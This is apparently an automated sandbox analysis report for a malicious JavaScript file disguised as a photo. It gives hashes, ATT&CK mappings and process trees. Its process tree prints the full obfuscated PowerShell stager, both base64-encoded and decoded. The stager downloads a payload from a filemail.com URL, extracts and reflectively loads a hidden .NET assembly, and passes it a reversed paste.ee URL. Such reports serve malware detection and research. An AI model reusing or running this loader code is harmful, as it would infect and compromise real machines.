8feb7fd93ca9901efc73de47de02e763037072130d5c1b121e91e41dcebd16f4

General

Target

Abella_Danger_Photo.js
Size

39KB
MD5

ddb95e2792a54f6df10d771fdc5d64dd
SHA1

b74421240a6090e6a8ecab75196c8fc427a78b88
SHA256

8feb7fd93ca9901efc73de47de02e763037072130d5c1b121e91e41dcebd16f4
SHA512

dfb9877897ab0bb987cdf40a47ef6d4229c31b20709b0018599fe1ffdaefefcca39f564dfbb723749a47a7a5b3d33ac8ccc26ed4b106971330a97c0dc74c14eb
SSDEEP

768:+/S/S/F/AkV+5VPJX/69uCi5BuRSqFBeWpg:+/S/S/F/AkV+5VPJv69uCi5BuRSqFBe9

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

exe.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

Signatures

Blocklisted process makes network request 4 IoCs

Processes:

wscript.exepowershell.exe

flow pid process

3 2268 wscript.exe
4 2268 wscript.exe
8 2772 powershell.exe
9 2772 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

2832 powershell.exe
2772 powershell.exe
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

flow	pid	process
3	2268	wscript.exe
4	2268	wscript.exe
8	2772	powershell.exe
9	2772	powershell.exe

pid	process
2832	powershell.exe
2772	powershell.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

Processes:

description	flow	ioc
HTTP User-Agent header	3	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	4	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exepowershell.exe

pid process

2832 powershell.exe
2772 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2832 powershell.exe
Token: SeDebugPrivilege 2772 powershell.exe

pid	process
2832	powershell.exe
2772	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2832	powershell.exe
Token: SeDebugPrivilege	2772	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

wscript.exepowershell.exe

description	pid	process	target process
PID 2268 wrote to memory of 2832	2268	wscript.exe	powershell.exe
PID 2268 wrote to memory of 2832	2268	wscript.exe	powershell.exe
PID 2268 wrote to memory of 2832	2268	wscript.exe	powershell.exe
PID 2832 wrote to memory of 2772	2832	powershell.exe	powershell.exe
PID 2832 wrote to memory of 2772	2832	powershell.exe	powershell.exe
PID 2832 wrote to memory of 2772	2832	powershell.exe	powershell.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Abella_Danger_Photo.js
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2268
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LgAgACgAIAAkAEUATgBWADoAQwBvAG0AcwBQAEUAQwBbADQALAAxADUALAAyADUAXQAtAEoATwBpAG4AJwAnACkAIAAoACAAKAAnAEgATAAxAGkAbQBhAGcAZQBVAHIAbAAgAD0AIABPAEoAMABoAHQAdABwAHMAOgAvAC8AMQAwADEANwAuAGYAaQBsAGUAbQBhAGkAbAAuAGMAbwBtAC8AYQBwAGkALwAnACsAJwBmAGkAbABlAC8AZwBlAHQAPwBmAGkAbABlAGsAZQB5AD0AMgBBAGEAXwAnACsAJwBiAFcAbwA5AFIAZQB1ADQANQB0ADcAQgBVADEAawBWAGcAJwArACcAcwBkACcAKwAnADkAcABUADkAcABnAFMAUwBsAHYAUwB0AEcAcgBuAFQASQAnACsAJwBDAGYARgBoAG0AVABLAGoAMwBMAEMANgBTAFEAdABJAGMATwBjAF8AVAAzADUAdwAmAHAAawBfAHYAaQBkAD0AZgBkADQAZgA2ADEANABiAGIAMgAwADkAYwA2ADIAYwAxADcAMwAwADkANAA1ADEANwA2AGEAMAA5ADAANABmACAATwBKADAAOwBIACcAKwAnAEwAMQB3AGUAYgBDAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsASABMADEAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAD0AIABIAEwAMQB3AGUAYgBDAGwAaQBlAG4AdAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgASABMADEAaQBtAGEAZwBlAFUAcgBsACkAOwBIAEwAMQBpAG0AYQBnAGUAVABlAHgAdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABIAEwAMQBpAG0AYQBnAGUAQgB5AHQAZQBzACkAOwBIAEwAMQBzAHQAYQByAHQARgBsAGEAZwAgAD0AIABPAEoAMAA8ADwAQgBBAFMARQA2ADQAXwBTAFQAQQBSAFQAPgA+AE8ASgAwADsASABMADEAJwArACcAZQBuAGQARgBsAGEAZwAgAD0AIABPAEoAMAA8ADwAQgBBAFMARQA2ADQAXwBFAE4ARAA+AD4ATwBKADAAOwBIAEwAMQBzAHQAYQByAHQASQBuAGQAZQB4ACAAPQAgAEgATAAxAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AJwArACcAZgAoAEgATAAxAHMAdABhAHIAdABGAGwAYQBnACkAOwBIAEwAMQBlAG4AZABJAG4AZABlAHgAIAA9ACAASABMADEAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgASABMADEAZQBuAGQARgBsAGEAZwApADsASABMADEAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIABIAEwAMQBlAG4AZABJAG4AZABlAHgAIAAtAGcAdAAgAEgATAAnACsAJwAxAHMAdABhAHIAdABJAG4AZABlAHgAOwBIAEwAMQBzAHQAYQByAHQAJwArACcASQBuAGQAZQB4ACAAKwA9ACAASABMADEAcwB0AGEAcgB0AEYAbABhAGcALgBMAGUAbgBnAHQAaAA7AEgATAAxAGIAJwArACcAYQBzAGUANgA0AEwAZQBuAGcAdABoACcAKwAnACAAPQAgAEgATAAxACcAKwAnAGUAbgBkAEkAbgBkAGUAeAAgAC0AIABIACcAKwAnAEwAMQBzAHQAYQByAHQASQBuAGQAZQB4ADsASABMADEAYgAnACsAJwBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAAgAD0AIABIAEwAMQBpAG0AYQBnAGUAVABlAHgAdAAuAFMAdQBiAHMAdAByAGkAbgBnACgASABMADEAcwB0AGEAcgB0AEkAbgBkAGUAeAAsACAASABMADEAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAKQA7AEgATAAxAGIAYQBzAGUANgA0AFIAZQB2AGUAcgBzAGUAZAAgAD0AIAAtAGoAbwBpAG4AIAAoAEgATAAxAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQALgAnACsAJwBUAG8AQwBoAGEAcgBBAHIAcgBhAHkAKAApACAASQBPAEUAIABGAG8AcgBFAGEAYwBoAC0ATwBiAGoAZQBjAHQAIAB7ACAASABMADEAXwAgAH0AKQBbAC0AMQAuAC4ALQAoAEgATAAxAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQALgBMAGUAbgBnAHQAaAApAF0AOwBIAEwAMQBjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgASABMADEAYgBhAHMAZQA2ADQAUgBlAHYAZQByAHMAZQBkACkAOwBIAEwAMQBsAG8AYQAnACsAJwBkAGUAJwArACcAZABBAHMAcwBlAG0AYgBsAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoAEgATAAxAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQAnACsAJwBzACkAOwBIAEwAMQB2AGEAaQBNAGUAdABoAG8AZAAgAD0AIABbAGQAbgBsAGkAYgAuAEkATwAuAEgAbwBtAGUAXQAuAEcAZQB0AE0AZQB0AGgAbwBkACgATwBKADAAVgBBACcAKwAnAEkATwBKADAAKQA7AEgATAAxAHYAYQBpAE0AZQB0AGgAbwBkAC4ASQBuAHYAbwBrAGUAKABIAEwAMQBuAHUAbABsACwAJwArACcAIABAACgATwBKADAAMAAvAHQAUQA5AEgAMQAvAGQALwBlAGUALgBlAHQAcwBhAHAALwAvADoAcwBwAHQAdABoAE8ASgAwACwAIABPAEoAMABkAGUAcwBhAHQAaQB2AGEAZABvAE8ASgAwACwAIAAnACsAJwBPAEoAMABkAGUAcwBhAHQAaQB2AGEAZABvAE8ASgAwACwAIABPAEoAMABkAGUAcwBhACcAKwAnAHQAaQB2AGEAZABvAE8ASgAwACwAIABPAEoAMABNAFMAQgB1AGkAbABkAE8ASgAwACwAIABPAEoAMABkAGUAcwAnACsAJwBhAHQAaQB2AGEAZABvAE8ASgAwACwAJwArACcAIABPAEoAMABkAGUAcwBhAHQAaQB2AGEAZABvAE8ASgAwACwATwBKADAAZABlAHMAYQB0AGkAdgBhAGQAbwBPAEoAMAAsAE8ASgAwAGQAZQBzAGEAdABpAHYAYQBkAG8ATwBKADAALABPAEoAMABkAGUAcwBhAHQAaQB2AGEAZABvAE8ASgAwACwATwBKADAAZABlAHMAYQB0AGkAdgBhAGQAbwBPAEoAMAAsAE8ASgAwAGQAZQBzAGEAdABpAHYAYQBkAG8ATwBKADAALABPACcAKwAnAEoAMAAxAE8ASgAwACwATwBKADAAZABlAHMAYQB0AGkAdgBhAGQAbwBPAEoAMAApACkAOwAnACkALgBSAGUAcABsAEEAQwBFACgAKABbAGMASABBAHIAXQA3ADMAKwBbAGMASABBAHIAXQA3ADkAKwBbAGMASABBAHIAXQA2ADkAKQAsACcAfAAnACkALgBSAGUAcABsAEEAQwBFACgAKABbAGMASABBAHIAXQA3ADIAKwBbAGMASABBAHIAXQA3ADYAKwBbAGMASABBAHIAXQA0ADkAKQAsAFsAUwBUAHIAaQBuAGcAXQBbAGMASABBAHIAXQAzADYAKQAuAFIAZQBwAGwAQQBDAEUAKAAoAFsAYwBIAEEAcgBdADcAOQArAFsAYwBIAEEAcgBdADcANAArAFsAYwBIAEEAcgBdADQAOAApACwAWwBTAFQAcgBpAG4AZwBdAFsAYwBIAEEAcgBdADMAOQApACkA';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2832
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( $ENV:ComsPEC[4,15,25]-JOin'') ( ('HL1imageUrl = OJ0https://1017.filemail.com/api/'+'file/get?filekey=2Aa_'+'bWo9Reu45t7BU1kVg'+'sd'+'9pT9pgSSlvStGrnTI'+'CfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f OJ0;H'+'L1webClient = New-Object System.Net.WebClient;HL1imageBytes = HL1webClient.DownloadData(HL1imageUrl);HL1imageText = [System.Text.Encoding]::UTF8.GetString(HL1imageBytes);HL1startFlag = OJ0<<BASE64_START>>OJ0;HL1'+'endFlag = OJ0<<BASE64_END>>OJ0;HL1startIndex = HL1imageText.IndexO'+'f(HL1startFlag);HL1endIndex = HL1imageText.IndexOf(HL1endFlag);HL1startIndex -ge 0 -and HL1endIndex -gt HL'+'1startIndex;HL1start'+'Index += HL1startFlag.Length;HL1b'+'ase64Length'+' = HL1'+'endIndex - H'+'L1startIndex;HL1b'+'ase64Command = HL1imageText.Substring(HL1startIndex, HL1base64Length);HL1base64Reversed = -join (HL1base64Command.'+'ToCharArray() IOE ForEach-Object { HL1_ })[-1..-(HL1base64Command.Length)];HL1commandBytes = [System.Convert]::FromBase64String(HL1base64Reversed);HL1loa'+'de'+'dAssembly = [System.Reflection.Assembly]::Load(HL1commandByte'+'s);HL1vaiMethod = [dnlib.IO.Home].GetMethod(OJ0VA'+'IOJ0);HL1vaiMethod.Invoke(HL1null,'+' @(OJ00/tQ9H1/d/ee.etsap//:sptthOJ0, OJ0desativadoOJ0, '+'OJ0desativadoOJ0, OJ0desa'+'tivadoOJ0, OJ0MSBuildOJ0, OJ0des'+'ativadoOJ0,'+' OJ0desativadoOJ0,OJ0desativadoOJ0,OJ0desativadoOJ0,OJ0desativadoOJ0,OJ0desativadoOJ0,OJ0desativadoOJ0,O'+'J01OJ0,OJ0desativadoOJ0));').ReplACE(([cHAr]73+[cHAr]79+[cHAr]69),'|').ReplACE(([cHAr]72+[cHAr]76+[cHAr]49),[STring][cHAr]36).ReplACE(([cHAr]79+[cHAr]74+[cHAr]48),[STring][cHAr]39))"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2772

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
91a70bd0ff4ef076873debce8fd41de6

SHA1
3cc54d755459f3293132da8d0502903bb5ab92d4

SHA256
3d8759ffcc500786deb13fff9b9593429f5288e2f6e6c3fa66329d407e80b37f

SHA512
94184d26373d4cc0e4254a6622fc53c836b251f54738cf0ac460830d8c3a58103d56ea719fc289cfbff7e72573f067c8cedd72a43738b6ff20b0489c7526b72c

Download Submit
memory/2832-4-0x000007FEF6EFE000-0x000007FEF6EFF000-memory.dmp

Filesize
4KB

Download
memory/2832-5-0x000000001B6C0000-0x000000001B9A2000-memory.dmp

Filesize
2.9MB

Download
memory/2832-6-0x0000000002860000-0x0000000002868000-memory.dmp

Filesize
32KB

Download
memory/2832-7-0x000007FEF6C40000-0x000007FEF75DD000-memory.dmp

Filesize
9.6MB

Download
memory/2832-8-0x000007FEF6C40000-0x000007FEF75DD000-memory.dmp

Filesize
9.6MB

Download
memory/2832-9-0x000007FEF6C40000-0x000007FEF75DD000-memory.dmp

Filesize
9.6MB

Download
memory/2832-10-0x000007FEF6C40000-0x000007FEF75DD000-memory.dmp

Filesize
9.6MB

Download
memory/2832-16-0x000007FEF6C40000-0x000007FEF75DD000-memory.dmp

Filesize
9.6MB

Download

Analysis

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